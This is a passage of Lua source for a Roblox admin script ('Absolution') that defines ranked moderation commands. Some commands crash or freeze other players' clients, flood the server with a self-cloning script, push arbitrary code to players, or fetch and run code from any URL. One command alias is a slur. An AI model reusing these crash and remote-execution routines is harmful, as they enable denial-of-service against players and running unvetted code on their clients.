						--Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
3863
						Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
3864
						Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
3865
						Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
3866
						wait()
3867
						Absolution.Functions.syncRankOut(v)
3868
						v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
3869
					end)
3870
				end
3871
			end
3872
		end
3873
	elseif Absolution.Functions.GetSplit(Msg) == "r" then
3874
		Msg = Msg:gsub("-r","")
3875
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3876
		if #Players > 0 then
3877
			for _,v in pairs(Players) do
3878
				ypcall(function()
3879
					Absolution.Services.TeleportService:Teleport(game.PlaceId, v)
3880
					Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5)
3881
				end)
3882
			end
3883
		end
3884
	elseif Absolution.Functions.GetSplit(Msg) == "bs" then
3885
		Msg = Msg:gsub("-bs","")
3886
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3887
		local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
3888
		if #Players > 0 then
3889
			for _,v in pairs(Players) do
3890
				ypcall(function()
3891
					--Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error')
3892
					Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error')
3893
					Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
3894
					Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
3895
					game:service'Debris':AddItem(v, 6)
3896
				end)
3897
				wait''
3898
				pcall(function() v:Kick('Disconnected for: '..Reason) end)
3899
			end
3900
		end
3901
	elseif Absolution.Functions.GetSplit(Msg) == "c" then
3902
		Msg = Msg:gsub("-c","")
3903
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3904
		local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
3905
		if #Players > 0 then
3906
			for _,v in pairs(Players) do
3907
				ypcall(function()
3908
					--Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error')
3909
					Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error')
3910
					Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
3911
					Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
3912
					game:service'Debris':AddItem(v, 6)
3913
				end)
3914
			end
3915
		end
3916
	elseif Absolution.Functions.GetSplit(Msg) == "n" then
3917
		Msg = Msg:gsub("-n","")
3918
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3919
		if #Players > 0 then
3920
			for _,v in pairs(Players) do
3921
				ypcall(function()
3922
					v.Parent = nil
3923
					Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5)
3924
				end)
3925
			end
3926
		end
3927
	else
3928
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3929
		if #Players > 0 then
3930
			local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
3931
			for _,v in pairs(Players) do
3932
				if Absolution.Functions:findRank(v) >= 3 then
3933
					ypcall(function()
3934
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function()
3935
							--Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error') 
3936
							Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
3937
							Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
3938
							Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
3939
							game:service'Debris':AddItem(v, 6)
3940
						end)
3941
					end)
3942
				else
3943
					ypcall(function()
3944
						--Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error') 
3945
						Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error') 
3946
						Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
3947
						Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
3948
						game:service'Debris':AddItem(v, 6)
3949
					end)
3950
				end
3951
			end
3952
		end
3953
	end
3954
end)
3955
Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
3956
	local Split = Msg:find('/')
3957
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3958
	local Nick = Msg:sub(Split + 1)
3959
	
3960
	for i,v in pairs(Player) do
3961
		Absolution.Functions.nickName(v.Name, Nick)
3962
		Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5)
3963
	end
3964
	
3965
end)
3966
Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
3967
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3968
	local Status;
3969
	Absolution.Functions.Dismiss(Speaker)
3970
	if #Players > 0 then
3971
		for _,v in pairs(Players) do
3972
			ypcall(function()
3973
				Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
3974
			end)
3975
			--Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8)
3976
			Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5)
3977
			--Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8)
3978
			Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5)
3979
		end
3980
	end
3981
end)
3982
-- Rank 5 --
3983
3984
Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
3985
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3986
	local Status;
3987
	Absolution.Functions.Dismiss(Speaker)
3988
	if #Players > 0 then
3989
		for _,v in pairs(Players) do
3990
			ypcall(function()
3991
				Status = Absolution.Handler:sendPacket(v, 'disable',{})
3992
			end)
3993
		Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4))
3994
		end
3995
	end
3996
end)
3997
3998
	Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
3999
	if Absolution.Functions.GetSplit(Msg) == "p" then
4000
		Msg = Msg:gsub("-p", "")
4001
		local Split = Msg:find('/')
4002
		local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
4003
		local Numbers = Msg:sub(Split + 1)
4004
		if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then
4005
			Absolution.Functions.Out(Speaker, 'Nice try', 4)
4006
			return
4007
		end
4008
		if Numbers == "oxsb" then
4009
			Numbers = "20279777"
4010
		elseif Numbers == "antisb" then
4011
			Numbers = "21053279"
4012
		elseif Numbers == "pksb" then
4013
			Numbers = "191240586"
4014
		elseif Numbers == "mastersb" then
4015
			Numbers = "210101277"
4016
		elseif Numbers == "jarredsb" then
4017
			Numbers = "189032917"
4018
		elseif Numbers == "nexuresb" then
4019
			Numbers = "178350907"
4020
		elseif Numbers == "c9" then
4021
			Numbers = "133180956"
4022
		elseif Numbers == "quarry" then
4023
			Numbers = "151670365"
4024
		elseif Numbers == "phantom" then
4025
			Numbers = "292439477"
4026
		end
4027
		if #Player > 0 then
4028
			for _,v in pairs(Player) do
4029
				ypcall(function()
4030
					Absolution.Services.TeleportService:Teleport(Numbers, v)
4031
				end)
4032
			end
4033
		end
4034
	elseif Absolution.Functions.GetSplit(Msg) == "ps" then
4035
	Msg=Msg:gsub('-ps','')
4036
	local r,e = ypcall(function()
4037
	local TS = game:GetService("TeleportService")
4038
	if not Absolution.TPReserves[tostring(game.PlaceId)] then
4039
	Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId)
4040
	end
4041
	local players = Absolution.Functions.getPlayers(Speaker,Msg)
4042
	TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players)
4043
	end)
4044
	if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end
4045
	else
4046
		local Split = Msg:find('/')
4047
		local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
4048
		local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1))
4049
		if #Player1 > 0 or #Player2 > 0 then
4050
			for _,v in pairs(Player1) do
4051
				for _,v2 in pairs(Player2) do
4052
					ypcall(function()
4053
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
4054
						Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5)
4055
					end)
4056
				end
4057
			end
4058
		end
4059
	end
4060
end)
4061
Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
4062
	if Absolution.Functions.GetSplit(Msg) == "u" then
4063
		Msg = Msg:gsub("-u", "")
4064
		local Player = Absolution.Functions.getPlayers(Speaker,Msg)
4065
		if #Player > 0 then
4066
			for _,v in pairs(Player) do
4067
				ypcall(function()
4068
					for q,e in pairs(Absolution.Tablets) do
4069
						if e.Tab == v.Character.Torso then
4070
							table.remove(Absolution.Tablets, q)
4071
							Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5)
4072
						end
4073
					end
4074
				end)
4075
			end
4076
		end
4077
	else
4078
		local Player1 = Absolution.Functions.getPlayers(Speaker,Msg)
4079
		if #Player1 > 0 then
4080
			for _,v in pairs(Player1) do
4081
				ypcall(function()
4082
					table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
4083
					Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5)
4084
				end)
4085
			end
4086
		end
4087
	end
4088
end)
4089
Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
4090
	if #Msg == 0 then
4091
		Absolution.Functions.Dismiss(Speaker)
4092
		local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off"
4093
		Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function() 
4094
			Absolution.Functions.Dismiss(Speaker) 		
4095
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
4096
				if Absolution.Functions:findRank(v) <= 0.5 then
4097
					Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
4098
					v:Kick()
4099
				end
4100
			end 
4101
			Absolution.PrivateServer.Enabled = true 
4102
			Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3) 
4103
		end)
4104
		Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
4105
		Absolution.Functions.Output(Speaker, "Status: "..Status)
4106
	elseif Msg == "on" or Msg == "1" or Msg == "true" then
4107
		Absolution.PrivateServer.Enabled = true
4108
		for _,v in pairs(Absolution.Services.Players:getPlayers()) do
4109
			if Absolution.Functions:findRank(v) <= 0.5 then
4110
				table.insert(Absolution.PrivateServer.Waiting, v.Name)
4111
				Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
4112
				v:Kick()
4113
			end
4114
		end
4115
		Absolution.Functions.Out(Speaker, "Private Server Enabled", 2)
4116
	elseif Msg == "off" or Msg == "0" or Msg == "false" then
4117
		Absolution.PrivateServer.Enabled = false
4118
		Absolution.Functions.Out(Speaker, "Private Server Disabled", 2)
4119
	end
4120
end)
4121
	Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
4122
		Absolution.Functions.Dismiss(Speaker)
4123
		local Status = Absolution.Locks.Server.Locked == true and "On" or "Off"
4124
		local Level;
4125
		local numPlrs = 0
4126
		if not Absolution.Locks.Server.Locked then
4127
			Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function() 
4128
				Absolution.Functions.Dismiss(Speaker) 	
4129
				Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red')			
4130
				for i,v in pairs(Absolution.Ranks) do
4131
					if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then 
4132
						Absolution.Functions.Output(Speaker, tostring(i), "Random", function() 
4133
							Absolution.Functions.Dismiss(Speaker)
4134
							Absolution.Locks.Server.rankNumber = i
4135
							Absolution.Functions.Output(Speaker, 'Duration:', "Really red") 
4136
							for i=1200,1,-60 do
4137
								Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
4138
									Absolution.Functions.Dismiss(Speaker)
4139
									for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
4140
										local vRank = Absolution.Functions:findRank(tostring(v))
4141
										if(vRank<Absolution.Locks.Server.rankNumber)then
4142
										numPlrs = numPlrs + 1
4143
										end
4144
									end
4145
									Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function()
4146
										Absolution.Locks.Server.Duration = i
4147
										Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6)
4148
										Absolution.Locks.Server:enabledServerLock()
4149
										Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6)
4150
									end)
4151
								end)
4152
							end
4153
						end)
4154
					else
4155
					end
4156
				end 
4157
			end) 
4158
		else
4159
			Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red')
4160
		end
4161
		Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled")  Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
4162
		Absolution.Functions.Output(Speaker, "Status: "..Status)
4163
end)
4164
Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
4165
	if Absolution.Functions.GetSplit(Msg) == "s" then
4166
		Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
4167
		Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
4168
		return
4169
	elseif Absolution.Functions.GetSplit(Msg) == "l" then
4170
		Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
4171
		Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
4172
		return
4173
	else
4174
	Absolution.Functions.Dismiss(Speaker)
4175
	Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange")
4176
	Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange")
4177
	Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function()
4178
		Absolution.Functions.Dismiss(Speaker)
4179
		Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
4180
		Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
4181
	end)
4182
	Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function()
4183
		Absolution.Functions.Dismiss(Speaker)
4184
		Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
4185
		Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
4186
	end)
4187
	end
4188
end)
4189
Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
4190
Absolution.Functions.MakeOutput(Speaker)
4191
end)
4192
-- Rank 6 --
4193
Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
4194
	local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/')
4195
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
4196
	local Rank = tonumber(Msg:sub(Split + 1))
4197
	if #Player > 0 then
4198
		for _,v in pairs(Player) do
4199
			if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end
4200
			if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end
4201
			if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end
4202
			if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end
4203
			if Rank < Absolution.Functions:findRank(Speaker) then
4204
				Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank
4205
				Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5)
4206
				Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5)
4207
				Absolution.Functions.syncRankOut(v)
4208
				else
4209
				Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4)
4210
			end
4211
		end
4212
	end
4213
end)
4214
Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
4215
	local plr = game:service'Players':GetUserIdFromNameAsync(Msg)
4216
	if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end
4217
	if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end
4218
	local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded)
4219
	Absolution.Tempbans[tostring(plr)] = nil
4220
	Absolution.Functions.Out(Speaker, result, 2)
4221
	Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
4222
end)
4223
Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)
4224
4225
Absolution.Functions.Dismiss(Speaker)
4226
4227
local GetTime = function(self)
4228
	local hour = math.floor((self%86400)/60/60) 
4229
	local min = math.floor(((self%86400)/60/60-hour)*60)
4230
	if min < 10 then min = "0"..min end
4231
	if hour < 10 then hour = "0"..hour end
4232
	return hour..":"..min
4233
end
4234
4235
	if Absolution.Functions.GetSplit(Msg) == "p" then
4236
	
4237
		local plr = Absolution.Functions.getPlayers(Msg)
4238
	
4239
		if #plr > 1 then 
4240
		
4241
			Absolution.Functions.Out(Speaker,'Too many players!',4) 
4242
			
4243
			return
4244
			
4245
		else
4246
		
4247
			local sData = Absolution.Functions.TraceSearch(plr[1].Name, true)
4248
			
4249
			for i,v in pairs(sData) do
4250
			
4251
				Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function() 
4252
					
4253
					Absolution.Functions.Dismiss(Speaker)
4254
					
4255
					Absolution.Functions.Output(Speaker, v.data)
4256
				
4257
				end)
4258
			end
4259
		
4260
		end
4261
4262
	else
4263
4264
		local sData = Absolution.Functions.TraceSearch(Msg)
4265
4266
		if #sData > 0 then
4267
			for i,v in pairs(sData) do
4268
				Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
4269
			end
4270
		else
4271
			Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4)
4272
		end
4273
		
4274
	end
4275
4276
end)
4277
Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
4278
	if Absolution.Functions.GetSplit(Msg) == "c" then
4279
		Msg = Msg:gsub("-c","")
4280
		for i = 1, Absolution.Constants.ShutdownTime do
4281
			if Absolution.Aborted == true then
4282
				Absolution.Aborted = false
4283
				local ABM = Instance.new("Message", Absolution.Services.Workspace)
4284
				ABM.Text = "Shutdown Aborted!"
4285
				Absolution.Services.Debris:AddItem(ABM, 1)
4286
				Absolution.Locks.Server.Server = false
4287
				Absolution.Locks.Server.Local = false
4288
				return
4289
			else
4290
				Absolution.Locks.Server.Server = true
4291
				Absolution.Locks.Server.Local = true
4292
				local ABM = Instance.new("Message", Absolution.Services.Workspace)
4293
				ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds"
4294
				wait(1)
4295
				if ABM ~= nil then
4296
					ABM:remove()
4297
				end
4298
			end
4299
		end
4300
		Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined')
4301
	elseif Absolution.Functions.GetSplit(Msg) == "a" then
4302
		Msg = Msg:gsub("-a", "")
4303
		Absolution.Aborted = true
4304
	elseif Absolution.Functions.GetSplit(Msg) == "o" then
4305
		Msg = Msg:gsub("-o", "")
4306
		Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
4307
		Absolution.Functions.createScript([[
4308
			while game:service'RunService'.Stepped:wait() do
4309
				script:Clone().Parent = game:GetService("Workspace")
4310
			end
4311
		]], Absolution.Services.Workspace)
4312
		end)
4313
	else
4314
		Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
4315
		Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given')
4316
		end)
4317
	end
4318
end)
4319
-- Rank 7 --
4320
Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
4321
	Absolution.Handler.sendChat('Removing Absolution...')
4322
	Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
4323
	Absolution.Handler:fireAllClients('removescript')
4324
	wait(2)
4325
	--syncRanksOut()
4326
	for i,v in pairs(Absolution.Services.Players:getPlayers()) do
4327
		Absolution.Functions.Dismiss(v)
4328
	end
4329
	for i,v in pairs(Absolution.Connections) do
4330
	pcall(function()
4331
		v:disconnect()
4332
	end)
4333
	end
4334
	for i,v in pairs(Absolution.Functions) do
4335
		Absolution.Functions[i] = function() end
4336
	end
4337
	Absolution = nil
4338
	for i,v in pairs(getfenv()) do
4339
		getfenv()[i] = nil
4340
	end
4341
	script.Source = ''
4342
end)
4343
Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
4344
	local Split = Msg:find('/')
4345
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
4346
	local Packet = Msg:sub(Split + 1)
4347
	local pckt;
4348
	if #Players > 0 then
4349
		for _,v in pairs(Players) do
4350
			local Ran,Error = ypcall(function()
4351
				pckt = Absolution.Handler:sendPacket(v, Packet)
4352
			end)
4353
			if not Ran then
4354
				Absolution.Functions.Out(Speaker, Error, 4)
4355
			else
4356
				Absolution.Functions.Out(Speaker, tostring(pckt), 1)
4357
			end
4358
		end
4359
	end
4360
end)
4361
Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
4362
	local Players = Absolution.Functions.getPlayers(Speaker,Msg)
4363
	if #Players > 0 then
4364
		for _,v in pairs(Players) do
4365
			local Ran,Error = ypcall(function()
4366
				Absolution.Functions:ConnectPlayer(v)
4367
			end)
4368
			if not Ran then
4369
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
4370
				Absolution.Functions.Out(Speaker, Error, 4)
4371
			else
4372
				Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5)
4373
				--Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White')
4374
			end
4375
		end
4376
	end
4377
end)
4378
Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
4379
	local Split = Msg:find('/')
4380
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
4381
	local Packet = Msg:sub(Split + 1)
4382
	local pckt;
4383
	if #Players > 0 then
4384
		for _,v in pairs(Players) do
4385
			local Ran,Error = ypcall(function()
4386
				pckt = Absolution.Handler:clientLS(Packet, v)
4387
			end)
4388
			if not Ran then
4389
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
4390
				Absolution.Functions.Out(Speaker, Error, 4)
4391
			else
4392
				--Absolution.Functions.Output(Speaker, tostring(pckt), 'White')
4393
				Absolution.Functions.Out(Speaker, tostring(pckt), 1)
4394
			end
4395
		end
4396
	end
4397
end)
4398
Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
4399
	local Split = Msg:find('/')
4400
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
4401
	local Packet = Msg:sub(Split + 1)
4402
	local pckt;
4403
	if #Players > 0 then
4404
		for _,v in pairs(Players) do
4405
			local Ran,Error = ypcall(function()
4406
				pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
4407
			end)
4408
			if not Ran then
4409
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
4410
				Absolution.Functions.Out(Speaker, Error, 4)
4411
			else
4412
				--Absolution.Functions.Output(Speaker, 'Sent localscript', 'White')
4413
				Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5)
4414
			end
4415
		end
4416
	end
4417
end)
4418
Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
4419
Absolution.Functions.createScript([[require(200901975)'ic399']], workspace)
4420
end)
4421
Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
4422
	if #Msg >0 then		
4423
		local httpSite = Msg
4424
		Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function()
4425
			local rtn = Absolution.Services.HttpService:GetAsync(httpSite)
4426
			Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script')
4427
		end)
4428
	end	
4429
end)
4430
Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
4431
	warn(Speaker, "loadstring(\""..Msg.."\")")
4432
	local Speakr = Speaker
4433
	local ran,error = ypcall(function()
4434
		loadstring(Msg)()
4435
	end)	
4436
	if not ran then
4437
		Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red')
4438
	else
4439
		Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green')
4440
	end
4441
end)
4442
-- Rank 8 --
4443
Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
4444
	if Absolution.Functions.GetSplit(Msg) == 'p' then
4445
		local Players = Absolution.Functions.getPlayers(Speaker,Msg)
4446
		if #Players > 0 then
4447
			for _,v in pairs(Players) do
4448
				Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5)
4449
				local Ran,Error = ypcall(function()
4450
					Absolution.Functions.syncRankOut(v)
4451
				end)
4452
				if not Ran then
4453
					--Absolution.Functions.Output(Speaker, Error, 'Really red')
4454
					Absolution.Functions.Out(Speaker, Error, 4)
4455
				else
4456
					--Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8)
4457
				end
4458
			end
4459
		end
4460
	else
4461
		Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2)
4462
		Absolution.Functions.syncRanksOut()
4463
		--Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8)
4464
		Absolution.Functions.Out(Speaker,'Data syncronized!', 5)
4465
	end
4466
end)
4467
--------- Start Script -----------------------
4468
Absolution.Functions:Boot()
4469
local end_time = tick()
4470
Absolution.bootTime = (end_time-start_time)
4471
--Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)	 
4472
Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5)